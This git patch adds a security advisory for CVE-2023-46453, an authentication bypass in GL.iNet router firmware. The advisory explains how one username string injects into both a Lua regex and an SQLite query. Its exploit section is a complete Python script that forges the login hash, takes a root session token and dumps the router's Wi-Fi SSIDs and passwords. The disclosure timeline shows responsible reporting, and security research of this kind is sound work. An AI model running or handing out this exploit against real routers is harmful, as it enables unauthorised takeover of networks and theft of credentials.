From c608d3e1fd9d3a3f79ccee33a12b786316630867 Mon Sep 17 00:00:00 2001 From: "danielelinguaglossa@gmail.com" Date: Mon, 27 Nov 2023 17:54:47 +0100 Subject: [PATCH] add adivsory --- res/advisory/CVE-2023-46453.txt | 275 ++++++++++++++++++++++++++++++++ res/advisory/CVE-XXXX-XXXX.txt | 1 - src/libdzonerzy.so.c | 2 +- 3 files changed, 276 insertions(+), 2 deletions(-) create mode 100644 res/advisory/CVE-2023-46453.txt delete mode 100644 res/advisory/CVE-XXXX-XXXX.txt diff --git a/res/advisory/CVE-2023-46453.txt b/res/advisory/CVE-2023-46453.txt new file mode 100644 index 0000000..085ae62 --- /dev/null +++ b/res/advisory/CVE-2023-46453.txt @@ -0,0 +1,275 @@ +DZONERZY Security Research + +GLiNet: Router Authentication Bypass + +======================================================================== +Contents +======================================================================== +1. Overview +2. Detailed Description +3. Exploit +4. Timeline + +======================================================================== +1. Overview +======================================================================== +CVE-2023-46453 is a remote authentication bypass vulnerability in the web +interface of GLiNet routers running firmware versions 4.x and up. The +vulnerability allows an attacker to bypass authentication and gain access +to the router's web interface. + +======================================================================== +2. Detailed Description +======================================================================== +The vulnerability is caused by a lack of proper authentication checks in +/usr/sbin/gl-ngx-session file. The file is responsible for authenticating +users to the web interface. The authentication is in different stages. + +Stage 1: + +During the first stage the user send a request to the challenge rcp +endpoint. The endpoint returns a random nonce value used later in the +authentication process. + +Stage 2: + +During the second stage the user sends a request to the login rcp endpoint +with the username and the encrypted password. The encrypted password is +calculated by the following formula: + +md5(username + crypt(password) + nonce) + +The crypt function is the standard unix crypt function. + +The vulnerability lies in the fact that the username is not sanitized +properly before being passed to the login_test function in the lua script. + +------------------------------------------------------------------------ +local function login_test(username, hash) + if not username or username == "" then return false end + + for l in io.lines("/etc/shadow") do + local pw = l:match('^' .. username .. ':([^:]+)') + if pw then + for nonce in pairs(nonces) do + if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then + nonces[nonce] = nil + nonce_cnt = nonce_cnt - 1 + return true + end + end + return false + end + end + + return false +end +------------------------------------------------------------------------ + +This script check the username against the /etc/shadow file. If the username +is found in the file the script will extract the password hash and compare +it to the hash sent by the user. If the hashes match the user is authenticated. + +The issue is that the username is not sanitized properly before being +concatenated with the regex. This allows an attacker to inject a regex into +the username field and modify the final behavior of the regex. + +for instance, the following username will match the userid of the root user: + +root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+) + + +This will match the "root:" string and then any character until the next ":" +character. This will cause the script skip the password and return the +user id instead. + +Since the user id of the root user is always 0, the script will always return: + +md5("root:[^:]+:[^:]+" + "0" + nonce) + +Since this value is always the same, the attacker can simply send the known +hash value to the login rcp endpoint and gain access to the web interface. + +Anyway this approach won't work as expected since later in the code inside the +this check appear: + +------------------------------------------------------------------------ + local aclgroup = db.get_acl_by_username(username) + + local sid = utils.generate_id(32) + + sessions[sid] = { + username = username, + aclgroup = aclgroup, + timeout = time_now() + session_timeout + } +------------------------------------------------------------------------ + +The username which is now our custom regex will be passed to the get_acl_by_username +function. This function will check the username against a database and +return the aclgroup associated with the username. +If the username is not found in the database the function will return nil, +thus causing attack to fail. + +By checking the code we can see that the get_acl_by_username function is +actually appeding our raw string to a query and then executing it. +This means that we can inject a sql query into the username field and +make it return a valid aclgroup. + +------------------------------------------------------------------------ +M.get_acl_by_username = function(username) + if username == "root" then return "root" end + + local db = sqlite3.open(DB) + local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) + + local aclgroup = "" + + for a in db:rows(sql) do + aclgroup = a[1] + end + + db:close() + + return aclgroup +end +------------------------------------------------------------------------ + +Using this payload we were able to craft a username which is both a valid +regex and a valid sql query: + +roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+ + +this will make the sql query become: + +SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+' + +which will return the aclgroup of the root user (root). + +======================================================================== +3. Exploit +======================================================================== + +------------------------------------------------------------------------ +# Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass +# Date: 18/10/2023 +# Exploit Author: Daniele 'dzonerzy' Linguaglossa +# Vendor Homepage: https://www.gl-inet.com/ +# Vulnerable Devices: +# GL.iNet GL-MT3000 (4.3.7) +# GL.iNet GL-AR300M(4.3.7) +# GL.iNet GL-B1300 (4.3.7) +# GL.iNet GL-AX1800 (4.3.7) +# GL.iNet GL-AR750S (4.3.7) +# GL.iNet GL-MT2500 (4.3.7) +# GL.iNet GL-AXT1800 (4.3.7) +# GL.iNet GL-X3000 (4.3.7) +# GL.iNet GL-SFT1200 (4.3.7) +# And many more... +# Version: 4.3.7 +# Firmware Release Date: 2023/09/13 +# CVE: CVE-2023-46453 + +from urllib.parse import urlparse +import requests +import hashlib +import random +import sys + + +def exploit(url): + try: + requests.packages.urllib3.disable_warnings() + host = urlparse(url) + url = f"{host.scheme}://{host.netloc}/rpc" + print(f"[*] Target: {url}") + print("[*] Retrieving nonce...") + nonce = requests.post(url, verify=False, json={ + "jsonrpc": "2.0", + "id": random.randint(1000, 9999), + "method": "challenge", + "params": {"username": "root"} + }, timeout=5).json() + if "result" in nonce and "nonce" in nonce["result"]: + print(f"[*] Got nonce: {nonce['result']['nonce']} !") + else: + print("[!] Nonce not found, exiting... :(") + sys.exit(1) + print("[*] Retrieving authentication token for root...") + md5_hash = hashlib.md5() + md5_hash.update( + f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode()) + password = md5_hash.hexdigest() + token = requests.post(url, verify=False, json={ + "jsonrpc": "2.0", + "id": random.randint(1000, 9999), + "method": "login", + "params": { + "username": f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+", + "hash": password + } + }, timeout=5).json() + if "result" in token and "sid" in token["result"]: + print(f"[*] Got token: {token['result']['sid']} !") + else: + print("[!] Token not found, exiting... :(") + sys.exit(1) + print("[*] Checking if we are root...") + check = requests.post(url, verify=False, json={ + "jsonrpc": "2.0", + "id": random.randint(1000, 9999), + "method": "call", + "params": [token["result"]["sid"], "system", "get_status", {}] + }, timeout=5).json() + if "result" in check and "wifi" in check["result"]: + print("[*] We are authenticated as root! :)") + print("[*] Below some info:") + for wifi in check["result"]["wifi"]: + print(f"[*] --------------------") + print(f"[*] SSID: {wifi['ssid']}") + print(f"[*] Password: {wifi['passwd']}") + print(f"[*] Band: {wifi['band']}") + print(f"[*] --------------------") + else: + print("[!] Something went wrong, exiting... :(") + sys.exit(1) + except requests.exceptions.Timeout: + print("[!] Timeout error, exiting... :(") + sys.exit(1) + except KeyboardInterrupt: + print(f"[!] Something went wrong: {e}") + + +if __name__ == "__main__": + print(""" + + ▄████ ██▓ ██▓ ███▄ █ ▓█████▄▄▄█████▓ + ██▒ ▀█▒▓██▒ ▓██▒ ██ ▀█ █ ▓█ ▀▓ ██▒ ▓▒ +▒██░▄▄▄░▒██░ ▒██▒▓██ ▀█ ██▒▒███ ▒ ▓██░ ▒░ +░▓█ ██▓▒██░ ░██░▓██▒ ▐▌██▒▒▓█ ▄░ ▓██▓ ░ +░▒▓███▀▒░██████▒ ██▓ ░██░▒██░ ▓██░░▒████▒ ▒██▒ ░ + ░▒ ▒ ░ ▒░▓ ░ ▒▓▒ ░▓ ░ ▒░ ▒ ▒ ░░ ▒░ ░ ▒ ░░ + ░ ░ ░ ░ ▒ ░ ░▒ ▒ ░░ ░░ ░ ▒░ ░ ░ ░ ░ +░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ + ░ + Authentication Bypass + """) + if len(sys.argv) < 2: + print( + f"Usage: python3 {sys.argv[1]} https://target.com", file=sys.stderr) + sys.exit(0) + else: + exploit(sys.argv[1]) +------------------------------------------------------------------------ + +======================================================================== +4. Timeline +======================================================================== + +2023/09/13 - Vulnerability discovered +2023/09/14 - CVE-2023-46453 requested +2023/09/20 - Vendor contacted +2023/09/20 - Vendor replied +2023/09/30 - CVE-2023-46453 assigned +2023/11/08 - Vulnerability patched and fix released diff --git a/res/advisory/CVE-XXXX-XXXX.txt b/res/advisory/CVE-XXXX-XXXX.txt deleted file mode 100644 index 2c8a735..0000000 --- a/res/advisory/CVE-XXXX-XXXX.txt +++ /dev/null @@ -1 +0,0 @@ -yet to be assigned diff --git a/src/libdzonerzy.so.c b/src/libdzonerzy.so.c index 17afcce..8164a58 100644 --- a/src/libdzonerzy.so.c +++ b/src/libdzonerzy.so.c @@ -259,7 +259,7 @@ Copyright: MD_SECTION1("Advisories") \ MD_TEXT("Below you can find a list of my CVEs.") \ MD_NEWLINE() \ - MD_LIST(MD_BOLD(MD_LINK("CVE-XXXX-XXXX", "/advisory/CVE-XXXX-XXXX.txt"))) \ + MD_LIST(MD_BOLD(MD_LINK("CVE-2023-46453", "/advisory/CVE-2023-46453.txt"))) \ MD_TEXT(" -- GL.iNet 4.X Authentication Bypass + Privilege Escalation (RCE) (Yet to be assigned)") \ MD_NEWLINE() \ MD_SECTION1("FAQ") \